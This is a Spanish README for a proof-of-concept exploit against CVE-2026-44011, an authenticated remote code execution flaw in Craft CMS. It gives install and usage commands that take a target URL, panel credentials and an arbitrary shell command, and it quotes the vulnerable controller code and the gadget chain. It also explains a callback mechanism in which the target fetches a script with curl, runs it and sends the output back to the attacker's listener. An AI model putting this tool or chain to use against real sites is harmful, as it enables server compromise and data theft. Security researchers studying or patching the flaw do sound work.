El PoC de CVE-2026-44011: RCE en Craft CMS con un usuario autenticado.
Solo para pruebas autorizadas.
El aviso de Craft CMS indica >=4.0.0, <4.17.12 y >=5.0.0, <5.9.18 como afectados, y acredita a precicom-vincent-tl como descubridor.
python -m pip install -r requirements.txt
python cve-2026-44011.py -b 'https://example.com' -u '<username' -p '<password>' -c '<command>'
Argumentos requeridos:
-b, --base-url: URL de Craft, incluyendo http:// o https://.-u, --username: Nombre de usuario del panel de control.-p, --password: Contraseña del panel de control.-c, --command: Comando a ejecutar y del que capturar la salida.Argumentos opcionales:
-P, --cp-path: Ruta del panel de control (por defecto: /admin).-s, --site-id: ID del sitio (por defecto: 1).-e, --element-type: Tipo de elemento (por defecto: craft\elements\Category).-f, --csrf-field: Nombre del campo CSRF del inicio de sesión (por defecto: CRAFT_CSRF_TOKEN).-t, --timeout: Tiempo de espera de solicitudes y callbacks en segundos (por defecto: 15).-F, --force: Continuar cuando la versión de Craft no esté disponible o esté fuera de los rangos del aviso.-H, --callback-host: Dirección que el objetivo puede alcanzar (por defecto se infiere la dirección local; sobrescríbela detrás de un pivote).--listen-port: Puerto del listener (por defecto: un puerto libre seleccionado por el SO; establece un puerto fijo para el reenvío).En la acción de búsqueda vulnerable, condition pasa del cuerpo POST a la creación de objetos sin depuración.
$conditionConfig = $this->request->getBodyParam('condition');
$condition = Craft::$app->getConditions()->createCondition($conditionConfig);
ElementCondition::setFieldLayouts() construye un diseño a partir de cada array proporcionado.
if (is_array($fieldLayout)) {
$fieldLayout['type'] = $this->elementType;
return $fieldsService->createLayout($fieldLayout);
}
El payload del aviso adjunta el AttributeTypecastBehavior de Yii con una clave as y conecta un evento con on *. El comportamiento llega a Psy\Readline\Hoa\ConsoleProcessus::execute a través del typecast de callable de Yii.
condition.fieldLayouts[]
-> FieldLayout behavior + event
-> AttributeTypecastBehavior::typecastValue()
-> call_user_func()
-> ConsoleProcessus::execute()
El controlador corregido aplica Component::cleanseConfig() a la condición antes de la creación del objeto.
ConsoleProcessus::execute() de Psy escapa los metacaracteres del shell por defecto. El PoC sirve un script temporal para ejecutar -c, recibe su salida en un listener HTTP integrado y apaga el listener después. Usa -H si el objetivo no puede alcanzar la dirección inferida.sh, curl y mktemp en el objetivo.python -m unittest discover -s tests -v.